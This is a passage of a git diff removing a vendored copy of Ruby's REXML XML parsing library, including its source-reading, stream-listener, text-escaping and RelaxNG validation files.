-    # @param arg must be a String, and should be a valid XML document
-    # @param encoding if non-null, sets the encoding of the source to this
-    # value, overriding all encoding detection
-    def initialize(arg, encoding=nil)
-      @orig = @buffer = arg
-      if encoding
-        self.encoding = encoding
-      else
-        self.encoding = check_encoding( @buffer )
-      end
-      @line = 0
-    end
-
-
-    # Inherited from Encoding
-    # Overridden to support optimized en/decoding
-    def encoding=(enc)
-      return unless super
-      @line_break = encode( '>' )
-      if enc != UTF_8
-        @buffer = decode(@buffer)
-        @to_utf = true
-      else
-        @to_utf = false
-        if @buffer.respond_to? :force_encoding
-          @buffer.force_encoding Encoding::UTF_8
-        end
-      end
-    end
-
-    # Scans the source for a given pattern.  Note, that this is not your
-    # usual scan() method.  For one thing, the pattern argument has some
-    # requirements; for another, the source can be consumed.  You can easily
-    # confuse this method.  Originally, the patterns were easier
-    # to construct and this method more robust, because this method 
-    # generated search regexes on the fly; however, this was 
-    # computationally expensive and slowed down the entire REXML package 
-    # considerably, since this is by far the most commonly called method.
-    # @param pattern must be a Regexp, and must be in the form of
-    # /^\s*(#{your pattern, with no groups})(.*)/.  The first group
-    # will be returned; the second group is used if the consume flag is
-    # set.
-    # @param consume if true, the pattern returned will be consumed, leaving
-    # everything after it in the Source.
-    # @return the pattern, if found, or nil if the Source is empty or the
-    # pattern is not found.
-    def scan(pattern, cons=false)
-      return nil if @buffer.nil?
-      rv = @buffer.scan(pattern)
-      @buffer = $' if cons and rv.size>0
-      rv
-    end
-
-    def read
-    end
-
-    def consume( pattern )
-      @buffer = $' if pattern.match( @buffer )
-    end
-
-    def match_to( char, pattern )
-      return pattern.match(@buffer)
-    end
-
-    def match_to_consume( char, pattern )
-      md = pattern.match(@buffer)
-      @buffer = $'
-      return md
-    end
-
-    def match(pattern, cons=false)
-      md = pattern.match(@buffer)
-      @buffer = $' if cons and md
-      return md
-    end
-
-    # @return true if the Source is exhausted
-    def empty?
-      @buffer == ""
-    end
-
-    def position
-      @orig.index( @buffer )
-    end
-
-    # @return the current line in the source
-    def current_line
-      lines = @orig.split
-      res = lines.grep @buffer[0..30]
-      res = res[-1] if res.kind_of? Array
-      lines.index( res ) if res
-    end
-  end
-
-  # A Source that wraps an IO.  See the Source class for method
-  # documentation
-  class IOSource < Source
-    #attr_reader :block_size
-
-    # block_size has been deprecated
-    def initialize(arg, block_size=500, encoding=nil)
-      @er_source = @source = arg
-      @to_utf = false
-
-      # Determining the encoding is a deceptively difficult issue to resolve.
-      # First, we check the first two bytes for UTF-16.  Then we
-      # assume that the encoding is at least ASCII enough for the '>', and
-      # we read until we get one of those.  This gives us the XML declaration,
-      # if there is one.  If there isn't one, the file MUST be UTF-8, as per
-      # the XML spec.  If there is one, we can determine the encoding from
-      # it.
-      @buffer = ""
-      str = @source.read( 2 ) || ''
-      if encoding
-        self.encoding = encoding
-      elsif str[0,2] == "\xfe\xff"
-        @line_break = "\000>"
-      elsif str[0,2] == "\xff\xfe"
-        @line_break = ">\000"
-      elsif str[0,2] == "\xef\xbb"
-        str += @source.read(1)
-        str = '' if (str[2,1] == "\xBF")
-        @line_break = ">"
-      else
-        @line_break = ">"
-      end
-      super( @source.eof? ? str : str+@source.readline( @line_break ) )
-    end
-
-    def scan(pattern, cons=false)
-      rv = super
-      # You'll notice that this next section is very similar to the same
-      # section in match(), but just a liiittle different.  This is
-      # because it is a touch faster to do it this way with scan()
-      # than the way match() does it; enough faster to warrent duplicating
-      # some code
-      if rv.size == 0
-        until @buffer =~ pattern or @source.nil?
-          begin
-            # READLINE OPT
-            #str = @source.read(@block_size)
-            str = @source.readline(@line_break)
-            str = decode(str) if @to_utf and str
-            @buffer << str
-          rescue Iconv::IllegalSequence
-            raise
-          rescue
-            @source = nil
-          end
-        end
-        rv = super
-      end
-      rv.taint
-      rv
-    end
-
-    def read
-      begin
-        str = @source.readline(@line_break)
-        str = decode(str) if @to_utf and str 
-        @buffer << str
-        if not @to_utf and @buffer.respond_to? :force_encoding
-          @buffer.force_encoding Encoding::UTF_8
-        end
-      rescue Exception, NameError
-        @source = nil
-      end
-    end
-
-    def consume( pattern )
-      match( pattern, true )
-    end
-
-    def match( pattern, cons=false )
-      rv = pattern.match(@buffer)
-      @buffer = $' if cons and rv
-      while !rv and @source
-        begin
-          str = @source.readline(@line_break)
-          str = decode(str) if @to_utf and str
-          @buffer << str
-          rv = pattern.match(@buffer)
-          @buffer = $' if cons and rv
-        rescue
-          @source = nil
-        end
-      end
-      rv.taint
-      rv
-    end
-    
-    def empty?
-      super and ( @source.nil? || @source.eof? )
-    end
-
-    def position
-      @er_source.pos rescue 0
-    end
-
-    # @return the current line in the source
-    def current_line
-      begin
-        pos = @er_source.pos        # The byte position in the source
-        lineno = @er_source.lineno  # The XML < position in the source
-        @er_source.rewind
-        line = 0                    # The \r\n position in the source
-        begin
-          while @er_source.pos < pos
-            @er_source.readline
-            line += 1
-          end
-        rescue
-        end
-      rescue IOError
-        pos = -1
-        line = -1
-      end
-      [pos, lineno, line]
-    end
-  end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/streamlistener.rb b/vendor/plugins/rexml/lib/rexml/streamlistener.rb
deleted file mode 100644
index 6f401125..00000000
--- a/vendor/plugins/rexml/lib/rexml/streamlistener.rb
+++ /dev/null
@@ -1,92 +0,0 @@
-module REXML
-	# A template for stream parser listeners.
-	# Note that the declarations (attlistdecl, elementdecl, etc) are trivially
-	# processed; REXML doesn't yet handle doctype entity declarations, so you 
-	# have to parse them out yourself.
-	module StreamListener
-		# Called when a tag is encountered.
-		# @p name the tag name
-		# @p attrs an array of arrays of attribute/value pairs, suitable for
-		# use with assoc or rassoc.  IE, <tag attr1="value1" attr2="value2">
-		# will result in 
-		# tag_start( "tag", # [["attr1","value1"],["attr2","value2"]])
-		def tag_start name, attrs
-		end
-		# Called when the end tag is reached.  In the case of <tag/>, tag_end
-		# will be called immidiately after tag_start
-		# @p the name of the tag
-		def tag_end name
-		end
-		# Called when text is encountered in the document
-		# @p text the text content.
-		def text text
-		end
-		# Called when an instruction is encountered.  EG: <?xsl sheet='foo'?>
-		# @p name the instruction name; in the example, "xsl"
-		# @p instruction the rest of the instruction.  In the example,
-		# "sheet='foo'"
-		def instruction name, instruction
-		end
-		# Called when a comment is encountered.
-		# @p comment The content of the comment
-		def comment comment
-		end
-		# Handles a doctype declaration. Any attributes of the doctype which are
-		# not supplied will be nil.  # EG, <!DOCTYPE me PUBLIC "foo" "bar">
-		# @p name the name of the doctype; EG, "me"
-		# @p pub_sys "PUBLIC", "SYSTEM", or nil.  EG, "PUBLIC"
-		# @p long_name the supplied long name, or nil.  EG, "foo"
-		# @p uri the uri of the doctype, or nil.  EG, "bar"
-		def doctype name, pub_sys, long_name, uri
-		end
-		# Called when the doctype is done
-		def doctype_end
-		end
-		# If a doctype includes an ATTLIST declaration, it will cause this
-		# method to be called.  The content is the declaration itself, unparsed.
-		# EG, <!ATTLIST el attr CDATA #REQUIRED> will come to this method as "el
-		# attr CDATA #REQUIRED".  This is the same for all of the .*decl
-		# methods.
-		def attlistdecl element_name, attributes, raw_content
-		end
-		# <!ELEMENT ...>
-		def elementdecl content
-		end
-		# <!ENTITY ...>
-		# The argument passed to this method is an array of the entity
-		# declaration.  It can be in a number of formats, but in general it
-		# returns (example, result):
-		#  <!ENTITY % YN '"Yes"'>  
-		#  ["%", "YN", "'\"Yes\"'", "\""]
-		#  <!ENTITY % YN 'Yes'>
-		#  ["%", "YN", "'Yes'", "s"]
-		#  <!ENTITY WhatHeSaid "He said %YN;">
-		#  ["WhatHeSaid", "\"He said %YN;\"", "YN"]
-		#  <!ENTITY open-hatch SYSTEM "http://www.textuality.com/boilerplate/OpenHatch.xml">
-		#  ["open-hatch", "SYSTEM", "\"http://www.textuality.com/boilerplate/OpenHatch.xml\""]
-		#  <!ENTITY open-hatch PUBLIC "-//Textuality//TEXT Standard open-hatch boilerplate//EN" "http://www.textuality.com/boilerplate/OpenHatch.xml">
-		#  ["open-hatch", "PUBLIC", "\"-//Textuality//TEXT Standard open-hatch boilerplate//EN\"", "\"http://www.textuality.com/boilerplate/OpenHatch.xml\""]
-		#  <!ENTITY hatch-pic SYSTEM "../grafix/OpenHatch.gif" NDATA gif>
-		#  ["hatch-pic", "SYSTEM", "\"../grafix/OpenHatch.gif\"", "\n\t\t\t\t\t\t\tNDATA gif", "gif"]
-		def entitydecl content
-		end
-		# <!NOTATION ...>
-		def notationdecl content
-		end
-		# Called when %foo; is encountered in a doctype declaration.
-		# @p content "foo"
-		def entity content
-		end
-		# Called when <![CDATA[ ... ]]> is encountered in a document.
-		# @p content "..."
-		def cdata content
-		end
-		# Called when an XML PI is encountered in the document.
-		# EG: <?xml version="1.0" encoding="utf"?>
-		# @p version the version attribute value.  EG, "1.0"
-		# @p encoding the encoding attribute value, or nil.  EG, "utf"
-		# @p standalone the standalone attribute value, or nil.  EG, nil
-		def xmldecl version, encoding, standalone
-		end
-	end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/syncenumerator.rb b/vendor/plugins/rexml/lib/rexml/syncenumerator.rb
deleted file mode 100644
index 11609bdf..00000000
--- a/vendor/plugins/rexml/lib/rexml/syncenumerator.rb
+++ /dev/null
@@ -1,32 +0,0 @@
-module REXML
-  class SyncEnumerator
-    include Enumerable
-
-    # Creates a new SyncEnumerator which enumerates rows of given
-    # Enumerable objects.
-    def initialize(*enums)
-      @gens = enums
-      @length = @gens.collect {|x| x.size }.max
-    end
-
-    # Returns the number of enumerated Enumerable objects, i.e. the size
-    # of each row.
-    def size
-      @gens.size
-    end
-
-    # Returns the number of enumerated Enumerable objects, i.e. the size
-    # of each row.
-    def length
-      @gens.length
-    end
-
-    # Enumerates rows of the Enumerable objects.
-    def each
-      @length.times {|i|
-        yield @gens.collect {|x| x[i]}
-      }
-      self
-    end
-  end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/text.rb b/vendor/plugins/rexml/lib/rexml/text.rb
deleted file mode 100644
index 8bc87dbf..00000000
--- a/vendor/plugins/rexml/lib/rexml/text.rb
+++ /dev/null
@@ -1,404 +0,0 @@
-require 'rexml/entity'
-require 'rexml/doctype'
-require 'rexml/child'
-require 'rexml/doctype'
-require 'rexml/parseexception'
-
-module REXML
-  # Represents text nodes in an XML document
-  class Text < Child
-    include Comparable
-    # The order in which the substitutions occur
-    SPECIALS = [ /&(?!#?[\w-]+;)/u, /</u, />/u, /"/u, /'/u, /\r/u ]
-    SUBSTITUTES = ['&amp;', '&lt;', '&gt;', '&quot;', '&apos;', '&#13;']
-    # Characters which are substituted in written strings
-    SLAICEPS = [ '<', '>', '"', "'", '&' ]
-    SETUTITSBUS = [ /&lt;/u, /&gt;/u, /&quot;/u, /&apos;/u, /&amp;/u ]
-
-    # If +raw+ is true, then REXML leaves the value alone
-    attr_accessor :raw
-
-    NEEDS_A_SECOND_CHECK = /(<|&((#{Entity::NAME});|(#0*((?:\d+)|(?:x[a-fA-F0-9]+)));)?)/um
-    NUMERICENTITY = /&#0*((?:\d+)|(?:x[a-fA-F0-9]+));/ 
-    VALID_CHAR = [
-      0x9, 0xA, 0xD,
-      (0x20..0xD7FF),
-      (0xE000..0xFFFD),
-      (0x10000..0x10FFFF)
-    ]
-
-    if String.method_defined? :encode
-      VALID_XML_CHARS = Regexp.new('^['+
-        VALID_CHAR.map { |item|
-          case item
-          when Fixnum
-            [item].pack('U').force_encoding('utf-8')
-          when Range
-            [item.first, '-'.ord, item.last].pack('UUU').force_encoding('utf-8')
-          end
-        }.join +
-      ']*$')
-    else
-      VALID_XML_CHARS = /^(
-           [\x09\x0A\x0D\x20-\x7E]            # ASCII
-         | [\xC2-\xDF][\x80-\xBF]             # non-overlong 2-byte
-         |  \xE0[\xA0-\xBF][\x80-\xBF]        # excluding overlongs
-         | [\xE1-\xEC\xEE][\x80-\xBF]{2}      # straight 3-byte
-         |  \xEF[\x80-\xBE]{2}                #
-         |  \xEF\xBF[\x80-\xBD]               # excluding U+fffe and U+ffff
-         |  \xED[\x80-\x9F][\x80-\xBF]        # excluding surrogates
-         |  \xF0[\x90-\xBF][\x80-\xBF]{2}     # planes 1-3
-         | [\xF1-\xF3][\x80-\xBF]{3}          # planes 4-15
-         |  \xF4[\x80-\x8F][\x80-\xBF]{2}     # plane 16
-       )*$/nx; 
-    end
-
-    # Constructor
-    # +arg+ if a String, the content is set to the String.  If a Text,
-    # the object is shallowly cloned.  
-    #
-    # +respect_whitespace+ (boolean, false) if true, whitespace is
-    # respected
-    #
-    # +parent+ (nil) if this is a Parent object, the parent
-    # will be set to this.  
-    #
-    # +raw+ (nil) This argument can be given three values.
-    # If true, then the value of used to construct this object is expected to 
-    # contain no unescaped XML markup, and REXML will not change the text. If 
-    # this value is false, the string may contain any characters, and REXML will
-    # escape any and all defined entities whose values are contained in the
-    # text.  If this value is nil (the default), then the raw value of the 
-    # parent will be used as the raw value for this node.  If there is no raw
-    # value for the parent, and no value is supplied, the default is false.
-    # Use this field if you have entities defined for some text, and you don't
-    # want REXML to escape that text in output.
-    #   Text.new( "<&", false, nil, false ) #-> "&lt;&amp;"
-    #   Text.new( "&lt;&amp;", false, nil, false ) #-> "&amp;lt;&amp;amp;"
-    #   Text.new( "<&", false, nil, true )  #-> Parse exception
-    #   Text.new( "&lt;&amp;", false, nil, true )  #-> "&lt;&amp;"
-    #   # Assume that the entity "s" is defined to be "sean"
-    #   # and that the entity    "r" is defined to be "russell"
-    #   Text.new( "sean russell" )          #-> "&s; &r;"
-    #   Text.new( "sean russell", false, nil, true ) #-> "sean russell"
-    #
-    # +entity_filter+ (nil) This can be an array of entities to match in the
-    # supplied text.  This argument is only useful if +raw+ is set to false.
-    #   Text.new( "sean russell", false, nil, false, ["s"] ) #-> "&s; russell"
-    #   Text.new( "sean russell", false, nil, true, ["s"] ) #-> "sean russell"
-    # In the last example, the +entity_filter+ argument is ignored.
-    #
-    # +pattern+ INTERNAL USE ONLY
-    def initialize(arg, respect_whitespace=false, parent=nil, raw=nil, 
-      entity_filter=nil, illegal=NEEDS_A_SECOND_CHECK )
-
-      @raw = false
-
-      if parent
-        super( parent )
-        @raw = parent.raw 
-      else
-        @parent = nil
-      end
-
-      @raw = raw unless raw.nil?
-      @entity_filter = entity_filter
-      @normalized = @unnormalized = nil
-
-      if arg.kind_of? String
-        @string = arg.clone
-        @string.squeeze!(" \n\t") unless respect_whitespace
-      elsif arg.kind_of? Text
-        @string = arg.to_s
-        @raw = arg.raw
-      elsif
-        raise "Illegal argument of type #{arg.type} for Text constructor (#{arg})"
-      end
-
-      @string.gsub!( /\r\n?/, "\n" )
-
-      Text.check(@string, NEEDS_A_SECOND_CHECK, doctype) if @raw and @parent
-    end
-
-    def parent= parent
-      super(parent)
-      Text.check(@string, NEEDS_A_SECOND_CHECK, doctype) if @raw and @parent
-    end
-
-    # check for illegal characters
-    def Text.check string, pattern, doctype
-
-      # illegal anywhere
-      if string !~ VALID_XML_CHARS
-        if String.method_defined? :encode
-          string.chars.each do |c|
-            case c.ord
-            when *VALID_CHAR
-            else
-              raise "Illegal character #{c.inspect} in raw string \"#{string}\""
-            end
-          end
-        else
-          string.scan(/[\x00-\x7F]|[\x80-\xBF][\xC0-\xF0]*|[\xC0-\xF0]/n) do |c|
-            case c.unpack('U')
-            when *VALID_CHAR
-            else
-              raise "Illegal character #{c.inspect} in raw string \"#{string}\""
-            end
-          end
-        end
-      end
-
-      # context sensitive
-      string.scan(pattern).each do
-        if $1[-1] != ?;
-          raise "Illegal character '#{$1}' in raw string \"#{string}\""
-        elsif $1[0] == ?&
-          if $5 and $5[0] == ?#
-            case ($5[1] == ?x ? $5[2..-1].to_i(16) : $5[1..-1].to_i)
-            when *VALID_CHAR
-            else
-              raise "Illegal character '#{$1}' in raw string \"#{string}\""
-            end
-          elsif $3 and !SUBSTITUTES.include?($1)
-            if !doctype or !doctype.entities.has_key?($3)
-              raise "Undeclared entity '#{$1}' in raw string \"#{string}\""
-            end
-          end
-        end
-      end
-    end
-
-    def node_type
-      :text
-    end
-
-    def empty?
-      @string.size==0
-    end
-
-
-    def clone
-      return Text.new(self)
-    end
-
-
-    # Appends text to this text node.  The text is appended in the +raw+ mode
-    # of this text node.
-    def <<( to_append )
-      @string << to_append.gsub( /\r\n?/, "\n" )
-    end
-
-
-    # +other+ a String or a Text
-    # +returns+ the result of (to_s <=> arg.to_s)
-    def <=>( other )
-      to_s() <=> other.to_s
-    end
-
-    def doctype
-      if @parent
-        doc = @parent.document
-        doc.doctype if doc
-      end
-    end
-
-    REFERENCE = /#{Entity::REFERENCE}/
-    # Returns the string value of this text node.  This string is always
-    # escaped, meaning that it is a valid XML text node string, and all
-    # entities that can be escaped, have been inserted.  This method respects
-    # the entity filter set in the constructor.
-    #   
-    #   # Assume that the entity "s" is defined to be "sean", and that the 
-    #   # entity "r" is defined to be "russell"
-    #   t = Text.new( "< & sean russell", false, nil, false, ['s'] ) 
-    #   t.to_s   #-> "&lt; &amp; &s; russell"
-    #   t = Text.new( "< & &s; russell", false, nil, false ) 
-    #   t.to_s   #-> "&lt; &amp; &s; russell"
-    #   u = Text.new( "sean russell", false, nil, true )
-    #   u.to_s   #-> "sean russell"
-    def to_s
-      return @string if @raw
-      return @normalized if @normalized
-
-      @normalized = Text::normalize( @string, doctype, @entity_filter )
-    end
-
-    def inspect
-      @string.inspect
-    end
-
-    # Returns the string value of this text.  This is the text without
-    # entities, as it might be used programmatically, or printed to the
-    # console.  This ignores the 'raw' attribute setting, and any
-    # entity_filter.
-    #
-    #   # Assume that the entity "s" is defined to be "sean", and that the 
-    #   # entity "r" is defined to be "russell"
-    #   t = Text.new( "< & sean russell", false, nil, false, ['s'] ) 
-    #   t.value   #-> "< & sean russell"
-    #   t = Text.new( "< & &s; russell", false, nil, false )
-    #   t.value   #-> "< & sean russell"
-    #   u = Text.new( "sean russell", false, nil, true )
-    #   u.value   #-> "sean russell"
-    def value
-      return @unnormalized if @unnormalized
-      @unnormalized = Text::unnormalize( @string, doctype )
-    end
-
-    # Sets the contents of this text node.  This expects the text to be 
-    # unnormalized.  It returns self.
-    #
-    #   e = Element.new( "a" )
-    #   e.add_text( "foo" )   # <a>foo</a>
-    #   e[0].value = "bar"    # <a>bar</a>
-    #   e[0].value = "<a>"    # <a>&lt;a&gt;</a>
-    def value=( val )
-      @string = val.gsub( /\r\n?/, "\n" )
-      @unnormalized = nil
-      @normalized = nil
-      @raw = false
-    end
- 
-     def wrap(string, width, addnewline=false)
-       # Recursivly wrap string at width.
-       return string if string.length <= width
-       place = string.rindex(' ', width) # Position in string with last ' ' before cutoff
-       if addnewline then
-         return "\n" + string[0,place] + "\n" + wrap(string[place+1..-1], width)
-       else
-         return string[0,place] + "\n" + wrap(string[place+1..-1], width)
-       end
-     end
-
-    def indent_text(string, level=1, style="\t", indentfirstline=true)
-      return string if level < 0
-      new_string = ''
-      string.each { |line|
-        indent_string = style * level
-        new_line = (indent_string + line).sub(/[\s]+$/,'')
-        new_string << new_line
-      }
-      new_string.strip! unless indentfirstline
-      return new_string
-    end
- 
-    # == DEPRECATED
-    # See REXML::Formatters
-    #
-    def write( writer, indent=-1, transitive=false, ie_hack=false ) 
-      Kernel.warn("#{self.class.name}.write is deprecated.  See REXML::Formatters")
-      formatter = if indent > -1
-          REXML::Formatters::Pretty.new( indent )
-        else
-          REXML::Formatters::Default.new
-        end
-      formatter.write( self, writer )
-    end
-
-    # FIXME
-    # This probably won't work properly
-    def xpath
-      path = @parent.xpath
-      path += "/text()"
-      return path
-    end
-
-    # Writes out text, substituting special characters beforehand.
-    # +out+ A String, IO, or any other object supporting <<( String )
-    # +input+ the text to substitute and the write out
-    #
-    #   z=utf8.unpack("U*")
-    #   ascOut=""
-    #   z.each{|r|
-    #     if r <  0x100
-    #       ascOut.concat(r.chr)
-    #     else
-    #       ascOut.concat(sprintf("&#x%x;", r))
-    #     end
-    #   }
-    #   puts ascOut
-    def write_with_substitution out, input
-      copy = input.clone
-      # Doing it like this rather than in a loop improves the speed
-      copy.gsub!( SPECIALS[0], SUBSTITUTES[0] )
-      copy.gsub!( SPECIALS[1], SUBSTITUTES[1] )
-      copy.gsub!( SPECIALS[2], SUBSTITUTES[2] )
-      copy.gsub!( SPECIALS[3], SUBSTITUTES[3] )
-      copy.gsub!( SPECIALS[4], SUBSTITUTES[4] )
-      copy.gsub!( SPECIALS[5], SUBSTITUTES[5] )
-      out << copy
-    end
-
-    # Reads text, substituting entities
-    def Text::read_with_substitution( input, illegal=nil )
-      copy = input.clone
-
-      if copy =~ illegal
-        raise ParseException.new( "malformed text: Illegal character #$& in \"#{copy}\"" )
-      end if illegal
-      
-      copy.gsub!( /\r\n?/, "\n" )
-      if copy.include? ?&
-        copy.gsub!( SETUTITSBUS[0], SLAICEPS[0] )
-        copy.gsub!( SETUTITSBUS[1], SLAICEPS[1] )
-        copy.gsub!( SETUTITSBUS[2], SLAICEPS[2] )
-        copy.gsub!( SETUTITSBUS[3], SLAICEPS[3] )
-        copy.gsub!( SETUTITSBUS[4], SLAICEPS[4] )
-        copy.gsub!( /&#0*((?:\d+)|(?:x[a-f0-9]+));/ ) {
-          m=$1
-          #m='0' if m==''
-          m = "0#{m}" if m[0] == ?x
-          [Integer(m)].pack('U*')
-        }
-      end
-      copy
-    end
-
-    EREFERENCE = /&(?!#{Entity::NAME};)/
-    # Escapes all possible entities
-    def Text::normalize( input, doctype=nil, entity_filter=nil )
-      copy = input.to_s
-      # Doing it like this rather than in a loop improves the speed
-      #copy = copy.gsub( EREFERENCE, '&amp;' )
-      copy = copy.gsub( "&", "&amp;" )
-      if doctype
-        # Replace all ampersands that aren't part of an entity
-        doctype.entities.each_value do |entity|
-          copy = copy.gsub( entity.value, 
-            "&#{entity.name};" ) if entity.value and 
-              not( entity_filter and entity_filter.include?(entity) )
-        end
-      else
-        # Replace all ampersands that aren't part of an entity
-        DocType::DEFAULT_ENTITIES.each_value do |entity|
-          copy = copy.gsub(entity.value, "&#{entity.name};" )
-        end
-      end
-      copy
-    end
-
-    # Unescapes all possible entities
-    def Text::unnormalize( string, doctype=nil, filter=nil, illegal=nil )
-      string.gsub( /\r\n?/, "\n" ).gsub( REFERENCE ) {
-        ref = $&
-        if ref[1] == ?#
-          if ref[2] == ?x
-            [ref[3...-1].to_i(16)].pack('U*')
-          else
-            [ref[2...-1].to_i].pack('U*')
-          end
-        elsif ref == '&amp;'
-          '&'
-        elsif filter and filter.include?( ref[1...-1] )
-          ref
-        elsif doctype
-          doctype.entity( ref[1...-1] ) or ref
-        else
-          entity_value = DocType::DEFAULT_ENTITIES[ ref[1...-1] ]
-          entity_value ? entity_value.value : ref
-        end
-      }
-    end
-  end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/undefinednamespaceexception.rb b/vendor/plugins/rexml/lib/rexml/undefinednamespaceexception.rb
deleted file mode 100644
index 8ebfdfd0..00000000
--- a/vendor/plugins/rexml/lib/rexml/undefinednamespaceexception.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-require 'rexml/parseexception'
-module REXML
-  class UndefinedNamespaceException < ParseException
-    def initialize( prefix, source, parser )
-      super( "Undefined prefix #{prefix} found" )
-    end
-  end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/validation/relaxng.rb b/vendor/plugins/rexml/lib/rexml/validation/relaxng.rb
deleted file mode 100644
index 969f51bc..00000000
--- a/vendor/plugins/rexml/lib/rexml/validation/relaxng.rb
+++ /dev/null
@@ -1,559 +0,0 @@
-require "rexml/validation/validation"
-require "rexml/parsers/baseparser"
-
-module REXML
-  module Validation
-    # Implemented:
-    # * empty
-    # * element
-    # * attribute
-    # * text
-    # * optional
-    # * choice
-    # * oneOrMore
-    # * zeroOrMore
-    # * group
-    # * value
-    # * interleave
-    # * mixed
-    # * ref
-    # * grammar
-    # * start
-    # * define
-    #
-    # Not implemented:
-    # * data
-    # * param
-    # * include
-    # * externalRef
-    # * notAllowed
-    # * anyName
-    # * nsName
-    # * except
-    # * name
-    class RelaxNG
-      include Validator
-
-      INFINITY = 1.0 / 0.0
-      EMPTY = Event.new( nil )
-      TEXT = [:start_element, "text"]
-      attr_accessor :current
-      attr_accessor :count
-      attr_reader :references
-
-      # FIXME: Namespaces
-      def initialize source
-        parser = REXML::Parsers::BaseParser.new( source )
-
-        @count = 0
-        @references = {}
-        @root = @current = Sequence.new(self)
-        @root.previous = true
-        states = [ @current ]
-        begin
-          event = parser.pull
-          case event[0]
-          when :start_element
-            case event[1]
-            when "empty"
-            when "element", "attribute", "text", "value"
-              states[-1] << event
-            when "optional"
-              states << Optional.new( self )
-              states[-2] << states[-1]
-            when "choice"
-              states << Choice.new( self )
-              states[-2] << states[-1]
-            when "oneOrMore"
-              states << OneOrMore.new( self )
-              states[-2] << states[-1]
-            when "zeroOrMore"
-              states << ZeroOrMore.new( self )
-              states[-2] << states[-1]
-            when "group"
-              states << Sequence.new( self )
-              states[-2] << states[-1]
-            when "interleave"
-              states << Interleave.new( self )
-              states[-2] << states[-1]
-            when "mixed"
-              states << Interleave.new( self )
-              states[-2] << states[-1]
-              states[-1] << TEXT 
-            when "define"
-              states << [ event[2]["name"] ]
-            when "ref"
-              states[-1] << Ref.new( event[2]["name"] )
-            when "anyName"
-              states << AnyName.new( self )
-              states[-2] << states[-1]
-            when "nsName"
-            when "except"
-            when "name"
-            when "data"
-            when "param"
-            when "include"
-            when "grammar"
-            when "start"
-            when "externalRef"
-            when "notAllowed"
-            end
-          when :end_element
-            case event[1]
-            when "element", "attribute"
-              states[-1] << event
-            when "zeroOrMore", "oneOrMore", "choice", "optional", 
-              "interleave", "group", "mixed"
-              states.pop
-            when "define"
-              ref = states.pop
-              @references[ ref.shift ] = ref
-            #when "empty"
-            end
-          when :end_document
-            states[-1] << event
-          when :text
-            states[-1] << event
-          end
-        end while event[0] != :end_document
-      end
-
-      def receive event
-        validate( event )
-      end
-    end
-
-    class State
-      def initialize( context )
-        @previous = []
-        @events = []
-        @current = 0
-        @count = context.count += 1
-        @references = context.references
-        @value = false
-      end
-
-      def reset
-        return if @current == 0
-        @current = 0
-        @events.each {|s| s.reset if s.kind_of? State }
-      end
-
-      def previous=( previous ) 
-        @previous << previous
-      end
-
-      def next( event )
-        #print "In next with #{event.inspect}.  "
-        #puts "Next (#@current) is #{@events[@current]}"
-        #p @previous
-        return @previous.pop.next( event ) if @events[@current].nil?
-        expand_ref_in( @events, @current ) if @events[@current].class == Ref
-        if ( @events[@current].kind_of? State )
-          @current += 1
-          @events[@current-1].previous = self
-          return @events[@current-1].next( event )
-        end
-        #puts "Current isn't a state"
-        if ( @events[@current].matches?(event) )
-          @current += 1
-          if @events[@current].nil?
-            #puts "#{inspect[0,5]} 1RETURNING #{@previous.inspect[0,5]}"
-            return @previous.pop
-          elsif @events[@current].kind_of? State
-            @current += 1
-            #puts "#{inspect[0,5]} 2RETURNING (#{@current-1}) #{@events[@current-1].inspect[0,5]}; on return, next is #{@events[@current]}"
-            @events[@current-1].previous = self
-            return @events[@current-1]
-          else
-            #puts "#{inspect[0,5]} RETURNING self w/ next(#@current) = #{@events[@current]}"
-            return self
-          end
-        else
-          return nil
-        end
-      end
-
-      def to_s
-        # Abbreviated:
-        self.class.name =~ /(?:::)(\w)\w+$/
-        # Full:
-        #self.class.name =~ /(?:::)(\w+)$/
-        "#$1.#@count"
-      end
-
-      def inspect
-        "< #{to_s} #{@events.collect{|e| 
-          pre = e == @events[@current] ? '#' : ''
-          pre + e.inspect unless self == e
-        }.join(', ')} >"
-      end
-
-      def expected
-        return [@events[@current]]
-      end
-
-      def <<( event )
-        add_event_to_arry( @events, event )
-      end
-
-
-      protected
-      def expand_ref_in( arry, ind )
-        new_events = []
-        @references[ arry[ind].to_s ].each{ |evt| 
-          add_event_to_arry(new_events,evt)
-        }
-        arry[ind,1] = new_events
-      end
-
-      def add_event_to_arry( arry, evt ) 
-        evt = generate_event( evt )
-        if evt.kind_of? String 
-          arry[-1].event_arg = evt if arry[-1].kind_of? Event and @value
-          @value = false
-        else
-          arry << evt
-        end
-      end
-
-      def generate_event( event )
-        return event if event.kind_of? State or event.class == Ref
-        evt = nil
-        arg = nil
-        case event[0]
-        when :start_element
-          case event[1]
-          when "element"
-            evt = :start_element
-            arg = event[2]["name"]
-          when "attribute"
-            evt = :start_attribute
-            arg = event[2]["name"]
-          when "text"
-            evt = :text
-          when "value"
-            evt = :text
-            @value = true
-          end
-        when :text
-          return event[1]
-        when :end_document
-          return Event.new( event[0] )
-        else # then :end_element
-          case event[1]
-          when "element"
-            evt = :end_element
-          when "attribute"
-            evt = :end_attribute
-          end
-        end
-        return Event.new( evt, arg )
-      end
-    end
-
-
-    class Sequence < State
-      def matches?(event)
-        @events[@current].matches?( event )
-      end
-    end
-
-
-    class Optional < State
-      def next( event )
-        if @current == 0
-          rv = super
-          return rv if rv
-          @prior = @previous.pop
-          return @prior.next( event )
-        end
-        super
-      end
-
-      def matches?(event)
-        @events[@current].matches?(event) || 
-        (@current == 0 and @previous[-1].matches?(event))
-      end
-
-      def expected
-        return [ @prior.expected, @events[0] ].flatten if @current == 0
-        return [@events[@current]]
-      end
-    end
-
-
-    class ZeroOrMore < Optional
-      def next( event )
-        expand_ref_in( @events, @current ) if @events[@current].class == Ref
-        if ( @events[@current].matches?(event) )
-          @current += 1
-          if @events[@current].nil?
-            @current = 0
-            return self
-          elsif @events[@current].kind_of? State
-            @current += 1
-            @events[@current-1].previous = self
-            return @events[@current-1]
-          else
-            return self
-          end
-        else
-          @prior = @previous.pop
-          return @prior.next( event ) if @current == 0
-          return nil
-        end
-      end
-
-      def expected
-        return [ @prior.expected, @events[0] ].flatten if @current == 0
-        return [@events[@current]]
-      end
-    end
-
-
-    class OneOrMore < State
